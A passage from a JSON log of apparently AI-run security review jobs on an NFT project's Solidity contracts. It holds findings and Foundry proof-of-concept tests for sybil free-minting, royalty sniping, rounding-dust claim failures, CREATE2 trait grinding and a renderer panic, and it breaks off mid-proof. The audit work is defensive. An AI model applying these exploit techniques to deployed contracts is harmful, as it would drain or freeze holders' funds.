met, and only the requester can choose between 'holds' (current) and 'locks' (escrow 25 IMD for a window, or a pre-launch balance snapshot). Left on record so the requester makes that decision explicitly; it is not a code defect against the brief as written.","line":225,"path":"src/IMDenza.sol","reproduction":"Ran the attached prior proof against the revised code: cp .imd/reads/proofs/Proof_55797c765630.t.sol test/scratch/ && forge test --match-path test/scratch/Proof_55797c765630.t.sol -> FAIL '26 IMD minted more than one free piece: 50 > 1'. State: IMD token A live, contract S holds 26e18 IMD; S loops 50 times { c = new Child(); imd.transfer(c, 26e18); c.claimWithImd(); imd.transfer(S, 26e18) }. Expected if the IMD were bound: at most 1 piece. Actual: totalMinted() == 50, S still holds 26e18 IMD, treasury and distributor received 0.","severity":"low","snippet":"        if (!_holdsImd(msg.sender)) revert InsufficientImd();","title":"claimWithImd is still unbound to the IMD: one 26 IMD balance recycled through fresh wallets mints the remaining supply for free (unchanged this round; requester decision)"},{"citation":"resolved","description":"Settles prior finding 2cefb0759080 (author: disputed, left unchanged). Behaviour unchanged and still reproducible: there is no recorder guard or correction path, so the first writer of any jobId wins forever, the first 16 records become the foundational digests drawn into every later piece, and ten junk records pin pulse() at PULSE_MAX for 7247 blocks. The author's reading that the brief permits 'a compact committed summary updated permissionlessly' and that no funds move is correct, and the README now states the first-come risk and that the operator must back-fill in the first blocks. The one change this round (snapshot() returns the previous block's settled state) means in-block records no longer affect a mint, but does not change who may write. Stays low/advisory: a broken generative guarantee ('early foundational jobs' = real IMD jobs) is only enforceable off chain unless the requester accepts a recorder address or a constructor-supplied pre-launch digest.","line":148,"path":"src/SwarmHistory.sol","reproduction":"Fresh SwarmHistory. bob: recordJobs(ids[0..15] = keccak('real-job-', i), jobType 7, agentCount 65535, outcome 2, timestamp 0) -> succeeds, jobCount == 16, pulse() == 1_000_000, recordAt(0).recorder == bob. alice (operator): recordJobs(same 16 ids, real data) -> reverts JobAlreadyRecorded(ids[0]); nothing recorded. Expected: foundational traces reflect IMD swarm jobs; actual: whatever the first caller wrote, permanently. Traced on lines 148-149 (isRecorded set once, never cleared) and 240-248 (foundationalDigests takes the first 16 digests).","severity":"low","snippet":"        if (isRecorded[jobId]) revert JobAlreadyRecorded(jobId);","title":"SwarmHistory remains first-come: foundational slots, job ids and the pulse can be seized by whoever records first (unchanged this round; documented)"},{"citation":"resolved","description":"Settles prior finding 5d14978c374a (author: fixed the ledger part). Confirmed fixed: SwarmHistory.snapshot() returns the entropy/jobCount/profile settled at the end of the previous block whenever a record was made in the current block, so recordJob() inside the mint transaction or block no longer moves the seed (test_sameBlockRecordsDoNotChangeTheSeed passes; my grinder loop from last round gains nothing). The second vector named in that finding remains: every tokenHash input is known to the minting contract, including the recipient `to`, so it can iterate CREATE2 salts, compute the child address and the exact seed, call renderer.traits() and only deploy and mint from the address that yields the wanted bucket. The README (lines 61-63) now documents this as inherent to the brief's mint-transaction seed. Reported as info: no funds move, rarity selection is the only effect, and closing it would replace the brief's mint-hash seed with future-block randomness, a requester decision.","line":321,"path":"src/IMDenza.sol","reproduction":"Scratch test test/scratch/Leads2.t.sol::test_lead_create2AddressGrindingStillPicksTraits (PASS, assertions encode actual behaviour): two jobs recorded, roll one block; five independent Create2Grinder contracts each holding 26 IMD compute h = keccak(totalMinted+1, blockhash(n-1), prevrandao, childAddr(salt), n, timestamp) and seed = keccak(h, snapshot entropy, tokenId) for successive salts until renderer.traits(piece).scale == 3, then CREATE2-deploy that child, fund it and claimWithImd() from it. Expected if traits were not selectable: with ~8% odds, not all five are Jumbo. Actual: all 5 pieces have scale == 3 after 65 address tries in total, swarm.jobCount() still 2 (ledger untouched).","severity":"info","snippet":"            abi.encodePacked(tokenId, blockhash(block.number - 1), block.prevrandao, to, block.number, block.timestamp)","title":"Residual of the trait-grinding finding: a minting contract can still choose its traits by grinding the CREATE2 address it mints from (ledger reroll is fixed)"},{"citation":"resolved","description":"Settles prior finding 4000f797abea (author: fixed). Confirmed fixed for both reproduced paths: setIdentityMdCollection now rejects address(this), the distributor and the Art Blocks core (InvalidCollection), an address without code (NoCode) and a contract not reporting IERC721 via ERC-165 (NotErc721), and a rejected value leaves the setter usable, so the self-pointing free route and the typo brick are closed (test_identityCollectionMustBeAnErc721ElsewhereThanHere). What remains is the role itself: until first use, the $owner key can point the route at an ERC-721 it controls whose ownerOf returns chosen wallets, opening a free mint path for them. The constructor signature is unchanged because the held proofs construct IMDenza with three arguments and the brief gives no collection address. Recorded as a trust assumption of the requester's own wallet, documented in the README, not a defect.","line":217,"path":"src/IMDenza.sol","reproduction":"Traced: setIdentityMdCollection (lines 153-164) accepts any contract with code that returns true for supportsInterface(0x80ac58cd) and is not self/distributor/ART_BLOCKS; claimWithIdentityMd (lines 211-220) then trusts ownerOf(id) == msg.sender from that contract once per wallet and once per id. A configurator-controlled MockERC721 that mints ids to chosen wallets lets each of them claim one free piece. Expected per brief: no post-deployment discretionary minting; actual: possible only for the configurator key, once, before the setter is used.","severity":"info","snippet":"        if (IERC721(collection).ownerOf(identityTokenId) != msg.sender) revert NotTokenOwner();","title":"Configurator residual: the one-shot Identity MD setter can still name an ERC-721 the configurator controls (brick path fixed; trust assumption)"},{"citation":"resolved","description":"Settles prior finding 937e5f9e8d59 (author: disputed as the intended reading of 'pro-rata to holders'). Unchanged: _mintTo increments totalMinted before distribute(paymentToken) runs, so the new token is one of the recipients of its own 90% holder share (90% back for the first piece, 45% for the second, 0.9/totalMinted in general). The README spells this out and flags it for the requester. No third party loses funds; kept as info so the requester confirms the reading.","line":302,"path":"src/IMDenza.sol","reproduction":"Fresh deployment. alice approves 0.069e18 IMD and calls mint(IMD_TOKEN_A) -> token 1; ProceedsSplit(IMD_TOKEN_A, 0.0621e18, 0.0069e18); distributor.pending(IMD_TOKEN_A, 1) == 0.0621e18 immediately, so alice's net price after claim is 0.0069e18. Expected under the alternative reading (only pre-existing holders share): pending(…,1) == 0 after the first mint.","severity":"info","snippet":"            distributor.distribute(paymentToken);","title":"A public minter's own new token shares in the 90% split of its own payment (unchanged; documented, requester to confirm)"},{"citation":"resolved","description":"From the independent tester (write_foundry_tests), reproduced. _attribute returns 0 when unattributed > type(uint256).max / PRECISION so that unattributed * PRECISION cannot overflow, but with minted == 1 perToken == unattributed * 1e18 can be within 1e18 - 1 of type(uint256).max, and the new round-up `perToken * minted + PRECISION - 1` then overflows with Panic(0x11). Only an asset with a balance of about 1.16e59 units can reach it, which no real ETH or ERC-20 balance will; the effect is that distribute()/sync() revert for that asset until the balance leaves the window, and nothing else is affected (sync is called from _mintTo for ETH, the two IMD tokens and WETH only, none of which can hold such a balance). Informational; a fix is `(perToken * minted - 1) / PRECISION + 1` (perToken is non-zero there) or comparing unattributed against (type(uint256).max - PRECISION) / PRECISION.","line":110,"path":"src/IMDenzaDistributor.sol","reproduction":"Scratch test test/scratch/Leads2.t.sol::test_lead_overflowBoundaryOfDistribute: one piece minted (alice claimWithImd); vm.deal(distributor, type(uint256).max / 1e18); distributor.distribute(address(0)). Expected: returns 0 (guarded) or attributes the amount. Actual: reverts with Panic(0x11) (revert data 0x4e487b71…11 logged). type(uint256).max / 1e18 + 1 correctly returns 0.","severity":"info","snippet":"        amount = (perToken * minted + PRECISION - 1) / PRECISION;","title":"distribute()/sync() overflow guard misses the round-up step: a balance within ~1e18 of type(uint256).max/1e18 panics instead of returning 0"}],"hash":"48314431d8193c563bef8cab7bbf732add45f841eaaae5b7180d095f84a26311","nodeId":"e9874d5d-ea26-4b19-b56a-b70ecdb81ba6","outcome":"completed","summary":"Review complete. The findings file is written and validated against the tree, and nothing blocking remains.\n\n**Settled as fixed** (each prior proof re-run on the revised code and now passing, plus the author's regression tests):\n- Density bucket 3 panic: top threshold raised to 110, so density is always 0..2. All three density proofs pass.\n- Distributor dust re-credit: reservation is now rounded up per distribution and replay is a no-op. The proof passes and the suite passes with the README's fuzz seed.\n- Royalty dilution: every mint syncs ETH, both IMD tokens and WETH before the new token exists. The proof passes.\n- Ledger reroll: the mint snapshot is the previous block's settled state, so in-block records cannot move a seed.\n- Configurator brick path, token B decimals, underpayment, claim rounding, gas and pulse documentation: all confirmed in code.\n\n**Still open, all advisory, none blocking:**\n- Low: the IMD route is still unbound to the IMD. The sybil proof still fails (50 pieces from one 26 IMD balance). The author's dispute holds on the facts: the brief says \"per wallet\", and the held proofs use a bare prank that an escrow or tx.origin check would break. I recalibrated it to low as a requester scope decision.\n- Low: SwarmHistory remains first-come. Permitted by the brief, now documented, unchanged.\n- Info: CREATE2 address grinding still selects traits (5 of 5 Jumbo in 65 tries, ledger untouched), inherent to the brief's mint-hash seed and documented in the README.\n- Info: the configurator's one-shot setter is now validated; the remaining power is a documented trust assumption.\n- Info: the first public minter shares in its own payment, documented, for the requester to confirm.\n- Info: the tester's overflow boundary reproduces, but only at a balance of about 1.16e59 units.\n\nCoverage records all 19 entry points plus three invariant rows, including the manifest check (schema keys only, sizes within limits, constructors with no external calls). Scratch tests under test/scratch/ are not part of the submission.","treeHash":null,"usage":{"cachedInputTokens":1225348,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":25990,"runtime":"claude","turns":27,"wallClockMs":606517}},{"artifacts":[],"attempt":1,"bundleHash":"3a80f416eb1f686ef433283378ddd2903fef4e9e582eb2148d502f35f113fb9e","device":"8c9c4986ca881107","findings":[{"description":"distribute() credits every token `perToken = floor(unattributed*1e18/minted)` accumulator units but only adds `attributed = floor(perToken*minted/1e18)` to `reserved`. Whenever `unattributed*1e18` is not divisible by `minted` (almost always), `attributed` is exactly `unattributed - 1`: the tokens are promised `unattributed - minted/1e18` wei (practically the whole amount) while `reserved` grows by one wei less. The missing wei stays 'unattributed' (`balance - reserved`) and is distributed AGAIN on the next call, so distribute() can be called repeatedly with no new funds (it does not revert with NothingToDistribute) and each call adds `1e18/minted` units to every token for free. Consequences: (a) the sum of pending claims exceeds the balance; (b) `reserved` runs below what is owed, so the last holder(s) to claim revert with an arithmetic underflow in `reserved[asset] -= amount` (claim is all-or-nothing, so their whole pending amount is frozen, not just the dust); (c) each further distribution with a remainder deepens the deficit by one wei, so the shortfall is permanent and there is no admin to repair it. claim() aggravates this: it floors the combined accumulator units of a batch once, so a batch claim can take up to n-1 wei that were never reserved. Fix: make `reserved` grow by what the accumulator actually promised. Simplest: `reserved[asset] += unattributed;` (dust < 1 wei per token stays locked instead of being double-counted), and derive `Distributed` from that; or track the remainder in accumulator units rather than wei.","line":76,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract DustImd is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @notice Proof: IMDenzaDistributor.distribute credits `perToken * minted` accumulator units to\n///         the tokens but only adds `floor(perToken * minted / 1e18)` to `reserved`. Whenever\n///         `unattributed * 1e18` is not divisible by `minted`, that is one wei less than what was\n///         credited, and the same wei is counted as \"unattributed\" again on the next call. The\n///         accumulators therefore promise more than the contract holds, `reserved` runs short, and\n///         the last holder to claim reverts with an arithmetic underflow in `reserved -= amount`.\ncontract DistributorDustProof is Test {\n    address constant ETH = address(0);\n    address constant CONFIGURATOR = 0x3d6a89C8751a45DD577a4C1F3b34E71C58236193;\n\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    address[3] holders = [address(0xA11CE), address(0xB0B), address(0xCA201)];\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(CONFIGURATOR, address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new DustImd()).code);\n        for (uint256 i; i < 3; ++i) {\n            DustImd(nft.IMD_TOKEN_A()).mint(holders[i], 26 ether);\n            vm.prank(holders[i]);\n            nft.claimWithImd();\n        }\n    }\n\n    function _one(uint256 id) internal pure returns (uint256[] memory ids) {\n        ids = new uint256[](1);\n        ids[0] = id;\n    }\n\n    /// @dev Three ordinary royalty payments of 5 wei to 3 holders. Expected: every holder can claim\n    ///      and the claims never exceed the balance. Actual: the third claim reverts (underflow),\n    ///      because the holders are owed 15 wei in total while `reserved` is only 14.\n    function test_lastClaimantRevertsAfterOrdinaryDistributions() public {\n        for (uint256 d; d < 3; ++d) {\n            vm.deal(address(dist), address(dist).balance + 5);\n            dist.distribute(ETH);\n        }\n        uint256 balance = address(dist).balance;\n        uint256 owed;\n        for (uint256 i = 1; i <= 3; ++i) {\n            owed += dist.pending(ETH, i);\n        }\n        assertLe(owed, balance, \"distributor promises more than it holds\");\n        for (uint256 i = 1; i <= 3; ++i) {\n            // Expected: each claim succeeds (the contract does hold the 15 wei it owes).\n            dist.claim(ETH, _one(i));\n        }\n    }\n\n    /// @dev Calling `distribute` again with no new value must be a no-op (revert NothingToDistribute).\n    ///      Actual: the leftover wei is re-attributed on every call, inflating every token's pending\n    ///      balance without any new funds, until the total claimable exceeds the balance.\n    function test_repeatedDistributeInflatesPendingWithoutNewFunds() public {\n        vm.deal(address(dist), 5);\n        dist.distribute(ETH);\n        for (uint256 k; k < 6; ++k) {\n            // Under correct accounting these revert with NothingToDistribute; tolerate either way.\n            try dist.distribute(ETH) {} catch {}\n        }\n        uint256 owed;\n        for (uint256 i = 1; i <= 3; ++i) {\n            owed += dist.pending(ETH, i);\n        }\n        assertLe(owed, address(dist).balance, \"pending inflated beyond balance by repeated distribute\");\n        for (uint256 i = 1; i <= 3; ++i) {\n            dist.claim(ETH, _one(i));\n        }\n    }\n}","reproduction":"3 tokens minted (ids 1..3). Send 5 wei ETH, distribute(); repeat twice more (15 wei total received). Expected: pending = 5 wei each, reserved = 15, all three claims succeed. Actual: perToken = 1666666666666666666 (x3 distributions, plus the re-fed wei making the second distribution 6 wei) -> each token's pending = 5 wei (15 owed) but reserved = 14; claim(ETH,[1]) pays 5, claim(ETH,[2]) pays 5, claim(ETH,[3]) reverts with panic 0x11 although the contract holds exactly 5 wei. Second scenario: 5 wei, then distribute() 7 times with no new value; expected the extra calls to revert NothingToDistribute; actual they all succeed and total pending becomes 9 wei against a 5 wei balance. Run: forge test --match-path test/scratch/DistributorDust.t.sol (both tests fail on the current code; both pass with `reserved[asset] += unattributed`).","severity":"high","title":"IMDenzaDistributor.distribute re-attributes rounding dust: holders are credited more than is reserved, and the last claimants' claims revert"},{"description":"mintPrice() computes `69 * 10**decimals / 1000` with integer division. For a token whose decimals() returns 0 or 1 this is 0, so mint() pulls nothing (safeTransferFrom of 0 succeeds) and still mints; at 2 decimals it is 6 units (0.06, 13% below the brief's 0.069). IMD_TOKEN_B (0x5F7B...7127) has no code on mainnet today, so whatever is deployed there later decides the price; IMD_TOKEN_A has 18 decimals and is unaffected. A guard such as `require(price != 0)` (or requiring decimals >= 3) removes the free path.","line":251,"path":"src/IMDenza.sol","reproduction":"vm.etch(IMD_TOKEN_B, MockERC20 with decimals()=1): nft.mintPrice(IMD_TOKEN_B) == 0 (expected non-zero or revert); nft.mint(IMD_TOKEN_B) from a wallet with zero balance and no approval succeeds and mints a token. With decimals()=2: mintPrice == 6 (0.06), expected 0.069 or a revert. Verified in test/scratch/LowChecks.t.sol (decimals 0 -> 0, 1 -> 0, 2 -> 6, 3 -> 69).","severity":"low","title":"mintPrice rounds down for a low-decimals payment token: free public mint at 0 or 1 decimals, 0.06 instead of 0.069 at 2 decimals"},{"description":"pending(asset, id) floors each token's accumulator units to wei separately; claim() sums the raw units of all ids and floors once, so a batch of n tokens can pay up to n-1 wei more than the per-token views add up to. A UI showing pending() under-reports by up to n-1 wei, and when the dust deficit of the high finding is present the extra wei are drawn from a `reserved` value that never accounted for them, which brings the underflow forward for later claimants. Making pending() and claim() round the same way (per token) keeps the view and the payment consistent.","line":109,"path":"src/IMDenzaDistributor.sol","reproduction":"2 tokens held by one wallet, send 3 wei ETH, distribute(): reserved == 3, pending(1) == 1, pending(2) == 1 (sum 2); claim(ETH,[1,2]) returns 3. Expected: the view and the payment agree. Verified in test/scratch/LowChecks.t.sol.","severity":"low","title":"pending() understates what a batch claim pays; batch claims draw wei that were never reserved"},{"description":"mint() mints first and then distributes 90% of the price over all minted tokens including the one just minted, so the minter receives back 90%/totalMinted of their own payment as pending balance. For the first public mint when no other tokens exist the minter effectively pays 10% of the price. This is a reading of the brief ('90% of all mint proceeds distributed pro-rata to IMDenza NFT holders') rather than a defect, but the requester should confirm it is intended; the alternative is to distribute to the tokens minted before this one.","line":271,"path":"src/IMDenza.sol","reproduction":"Fresh deployment, alice mints publicly for 0.069 IMD: pending(IMD, 1) == 0.0621 IMD immediately (see test_publicMintSplitsProceeds90_10).","severity":"info","title":"A public minter's own new token shares in the 90% split of its own payment"},{"description":"The brief asks the artwork to incorporate the history of IMD swarm jobs. SwarmHistory lets any address append any record (unique job id only), so the entropy, type profile and pulse that future mints snapshot, and the live animation of every piece, are controlled by whoever records most. No funds are affected (documented in the README), but the provenance claim ('since block 0') is not enforced on chain. If a canonical IMD job registry exists, reading it or restricting recording to it would make the claim true.","line":106,"path":"src/SwarmHistory.sol","reproduction":"Any EOA: swarm.recordJob(keccak256('spam'), 0, 65535, 1, uint40(block.timestamp)) ten times -> pulse() == PULSE_MAX, every token's svg() changes (animation speed 2x, saturation 1.5) until it decays.","severity":"info","title":"SwarmHistory records are unauthenticated: anyone decides the 'swarm history' that modulates the art and the live pulse"}],"hash":"7db27d6332425a7f0c596337323d6ce0b8a9de243143b9aba951a43928b4b527","nodeId":"abd87088-ec6e-4a94-9b7f-3aac7be2759f","outcome":"completed","summary":"Work is complete. Summary:\n\n**Delivered tests** (all under `test/`, 28 new tests plus a 12-invariant suite; the full suite is 79 tests, all passing with the verifier's fuzz seed, build clean):\n\n- `test/invariants/DistributorHandler.sol` and `test/invariants/Distributor.invariants.t.sol`: a handler that drives the collection and distributor with five actors across random sequences of free claims, public mints, ETH/WETH/dust deposits, distributions, single, batch, duplicate-id, third-party and mixed-owner claims, NFT transfers, swarm records and chain advances, with ghost totals. Invariants cover balance equals in minus out, reserved backed by balance and matching the ledger, the collection never retaining funds, the exact 90/10 proceeds split, ordered checkpoints, later tokens never sharing earlier value, supply and per-wallet claim limits, seed and hash uniqueness, and no owner powers. Run counts are set inline with `forge-config`, with handler reverts set to fail the run.\n- `test/IMDenzaEdges.t.sol`: failure paths the existing suite skipped. Fidenza project-id boundaries, Art Blocks or Identity collection without code, nonexistent tokens leaving no side effects, IMD holding with a token lacking `decimals()`, both IMD tokens not summed, point-in-time holding, fee-on-transfer payment token, contract minters without a receiver, reentrancy from the ERC-721 receive hook into both mint routes and the distributor, sold-out before payment, royalty fuzz, duplicate-id and unminted-id claims, ETH arriving before the first mint, checkpoint merging, exact-amount full claimability, swarm batch atomicity, full 200-record batch, pulse decay fuzz, and history changing an otherwise identical mint's seed.\n\n**Findings reported in `.imd-findings.json`** (one high with a proof under `test/scratch/DistributorDust.t.sol`, which fails on the current code):\n\n- **High**: `IMDenzaDistributor.distribute` credits tokens `perToken * minted` accumulator units but reserves only the floored wei amount, so the leftover wei is counted as unattributed again and redistributed. Repeated `distribute` calls inflate pending with no new funds, holders are collectively owed more than the balance, and the last claimant's claim reverts with an arithmetic underflow, freezing their whole pending amount. Concrete repro: 3 tokens, three 5-wei distributions, third claim reverts; or 5 wei plus seven `distribute` calls gives 9 wei pending against 5 held. Fix suggested: reserve the full unattributed amount.\n- **Low**: `mintPrice` rounds down for low-decimals tokens: free mint at 0 or 1 decimals, 0.06 at 2 decimals, relevant because IMD token B has no code yet.\n- **Low**: `pending` understates batch claims by up to n-1 wei because `claim` floors once over the batch.\n- **Info**: a public minter's own new token shares in the 90% split of its own payment, and SwarmHistory records are unauthenticated so anyone shapes the \"swarm history\" and live pulse.\n\nThe two failing properties, sum of pending within balance and claims with pending value never reverting, were deliberately kept out of the delivered suite and documented there rather than asserted as correct. Still owed: fork runs against the live Limit Break validator and IMD token, which this offline environment could not perform.","treeHash":"bafaefd9456c907b7d377b9492d7e95aae6a4bbc","usage":{"cachedInputTokens":2197071,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":59042,"runtime":"claude","turns":45,"wallClockMs":981073}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4576f670afa0131d","findings":[{"citation":"resolved","description":"_biased() returns seedByte%100 + entropyByte%21, i.e. 0..119, but the density thresholds passed to _bucket (30, 75, 101, each +10 inside _bucket) leave values 111..119 falling through to `return 3`. Density has only three buckets: _params() does `q.attempts = [45, 80, 120][t.density]` (line 131) and _attributes() does `dens[t.density]` (line 372), so for such a token IMDenzaRenderer.svg() and tokenURI() (and therefore IMDenza.svg/tokenURI) revert with Panic(0x32). The condition needs swarmEntropy byte 2 % 21 >= 12 and seed byte 2 % 100 >= 111 - that, which holds for about 1.65% of all mints once any job has been recorded (entropy is 0 before the first record, which is why testFuzz_everyTokenRenders, which fuzzes only the hash with swarm.entropy()==0, never hit it). Roughly 55 of 3333 pieces would be permanently unrenderable: the composition is frozen at mint, so no later state can repair them, and the brief's 'any piece can be regenerated forever' guarantee is broken. Scale and turbulence have four buckets and are fine. Fix: clamp density to 2 (e.g. pass c such that c + 10 > 119, or `if (t.density > 2) t.density = 2`), or make _biased saturate at 99.","line":82,"path":"src/IMDenzaRenderer.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\n\n/// @dev Minimal IMD stand-in: everyone holds 1000 tokens, 18 decimals.\ncontract FakeImd {\n    function decimals() external pure returns (uint8) {\n        return 18;\n    }\n\n    function balanceOf(address) external pure returns (uint256) {\n        return 1000 ether;\n    }\n}\n\n/// @notice Density trait can reach bucket 3 once the swarm entropy is non-zero; the renderer then\n///         indexes 3-element arrays with 3 and `svg`/`tokenURI` revert with Panic(0x32) forever.\ncontract DensityPanicProof is Test {\n    SwarmHistory swarm;\n    IMDenza nft;\n    IMDenzaRenderer renderer;\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        vm.etch(nft.IMD_TOKEN_A(), address(new FakeImd()).code);\n    }\n\n    function test_tokenWithHighDensityBiasRenders() public {\n        // Record swarm jobs until entropy byte 2 gives the maximum +10 density bias (e[2] % 21 == 20).\n        uint256 i;\n        while (uint8(swarm.entropy()[2]) % 21 != 20) {\n            swarm.recordJob(bytes32(++i), uint8(i % 8), 1, 1, uint40(block.timestamp));\n            require(i < 2000, \"no entropy found\");\n        }\n        // Mint from fresh wallets until a seed with byte 2 % 100 >= 91 lands (about one in fourteen).\n        uint256 id;\n        for (uint256 k = 1; k < 400; ++k) {\n            address w = address(uint160(0x1000 + k));\n            vm.prank(w);\n            uint256 minted = nft.claimWithImd();\n            if (uint8(nft.seedOf(minted)[2]) % 100 >= 91) {\n                id = minted;\n                break;\n            }\n        }\n        require(id != 0, \"no seed found\");\n        IMDenzaRenderer.Traits memory t = nft.traits(id);\n        // Expected: density is one of the three documented buckets.\n        assertLe(t.density, 2, \"density bucket out of range\");\n        // Expected: every minted token renders. Actual: Panic(0x32) array out-of-bounds.\n        string memory s = nft.svg(id);\n        assertGt(bytes(s).length, 1000);\n        string memory uri = nft.tokenURI(id);\n        assertGt(bytes(uri).length, 1000);\n    }\n}","reproduction":"1. Deploy SwarmHistory, IMDenzaField, IMDenzaRenderer, IMDenza. 2. recordJob() until uint8(swarm.entropy()[2]) % 21 == 20 (a handful of records). 3. Mint from fresh wallets (claimWithImd) until uint8(nft.seedOf(id)[2]) % 100 >= 91. 4. nft.traits(id).density == 3 (expected <= 2); nft.svg(id) and nft.tokenURI(id) revert with Panic(0x32) (expected: an SVG / data URI). The attached test does exactly this and fails on the current tree.","severity":"high","snippet":"        t.density = _bucket(_biased(s, e, 2), 30, 75, 101);","title":"Density trait reaches bucket 3 under swarm bias; svg()/tokenURI() panic forever for ~1.6% of pieces"},{"citation":"resolved","description":"distribute() attributes the whole unattributed balance to nft.totalMinted() tokens *at the time of the call*, not at the time the value arrived. OpenSea pays royalties in ETH/WETH straight to the distributor and nothing calls distribute(ETH) automatically; the balance sits unattributed until someone does. Any minter can therefore mint k pieces (free claims or paid mints) and call distribute(ETH) in the same transaction, taking k/(m+k) of royalties earned by the m existing holders. The README promises 'Pieces minted later never share earlier distributions'; the guarantee only holds for value that was already *distributed*, so a bot that watches the distributor's balance gets paid from earlier holders' royalties for the cost of a mint. Mint proceeds in IMD are not affected because mint() distributes them in the same call. Fix: before incrementing totalMinted in _mintTo, have IMDenza call a non-reverting distributor hook that attributes any pending ETH (and the payment token) to the tokens that exist, or make distribute() record the balance at arrival (receive() can checkpoint ETH; ERC-20 arrivals need a pull API).","line":69,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\ncontract FakeImd {\n    function decimals() external pure returns (uint8) {\n        return 18;\n    }\n\n    function balanceOf(address) external pure returns (uint256) {\n        return 1000 ether;\n    }\n}\n\n/// @notice ETH royalties that reached the distributor before a token existed are shared with that\n///         token if it is minted before anyone calls `distribute(ETH)`. A minter can do both in one\n///         transaction and take a share of value earned by earlier holders.\ncontract RoyaltySnipeProof is Test {\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    address constant ETH = address(0);\n    address a = address(0xA1);\n    address b = address(0xB1);\n    address sniper = address(0x5111);\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new FakeImd()).code);\n        vm.prank(a);\n        nft.claimWithImd(); // token 1\n        vm.prank(b);\n        nft.claimWithImd(); // token 2\n    }\n\n    function test_laterMintDoesNotShareRoyaltiesEarnedBeforeIt() public {\n        // 3 ETH of royalties land while only tokens 1 and 2 exist.\n        (bool ok,) = address(dist).call{value: 3 ether}(\"\");\n        assertTrue(ok);\n        // Sniper mints token 3 and attributes the balance in the same transaction.\n        vm.startPrank(sniper);\n        uint256 id = nft.claimWithImd();\n        // (a low-level call: once the mint itself attributes pending ETH first, this is a no-op revert)\n        address(dist).call(abi.encodeWithSignature(\"distribute(address)\", ETH));\n        vm.stopPrank();\n        // Expected: tokens 1 and 2 split the 3 ETH; token 3 gets nothing of it.\n        assertEq(dist.pending(ETH, id), 0, \"later mint shares earlier royalties\");\n        assertEq(dist.pending(ETH, 1), 1.5 ether);\n        assertEq(dist.pending(ETH, 2), 1.5 ether);\n    }\n}","reproduction":"1. Two tokens exist (ids 1, 2). 2. 3 ETH arrives at the distributor (royalty). 3. A third wallet calls claimWithImd() (token 3) then distribute(address(0)) in one transaction. Expected: pending(ETH,1)=pending(ETH,2)=1.5 ETH, pending(ETH,3)=0. Actual: all three tokens have pending 1 ETH; token 3 took 1 ETH earned before it existed. The attached test asserts the expected split and fails with `1000000000000000000 != 0`.","severity":"medium","snippet":"        uint256 minted = nft.totalMinted();","title":"ETH/ERC-20 value that arrived before a token was minted is shared with it if minted before distribute() runs"},{"citation":"resolved","description":"The IMD route is bounded only per msg.sender (claimFlags) and checks the balance at the instant of the call. Unlike the Identity MD and Fidenza routes there is no per-asset flag, so the same 26 IMD can back a claim from every address it passes through. An operator contract creates a drone, sends it the 26 IMD, the drone calls claimWithImd() (it implements onERC721Received) and returns the IMD, and the loop repeats; 50 pieces cost ~27M gas and zero IMD in the attached test, and the whole remaining supply can be taken this way, paying nothing into the 90/10 proceeds split that the public mint funds. The README notes 'a sybil with many wallets and enough IMD can claim once per wallet' but the amount needed is 26 IMD total, not 26 per wallet, and no wallet needs to hold it for more than one call. This is a design decision the requester must make (the brief asked for an on-chain holding check); options that keep an on-chain check: a per-wallet IMD lock/escrow for the claim, a holding-at-snapshot-block check via an ERC20Votes-style balance (if the IMD token supports it), rejecting contract callers plus a minimum holding duration, or capping the total number of IMD-route claims. Reported as medium because the economic bound of the free routes does not hold, and the README's description understates what is needed.","line":202,"path":"src/IMDenza.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from 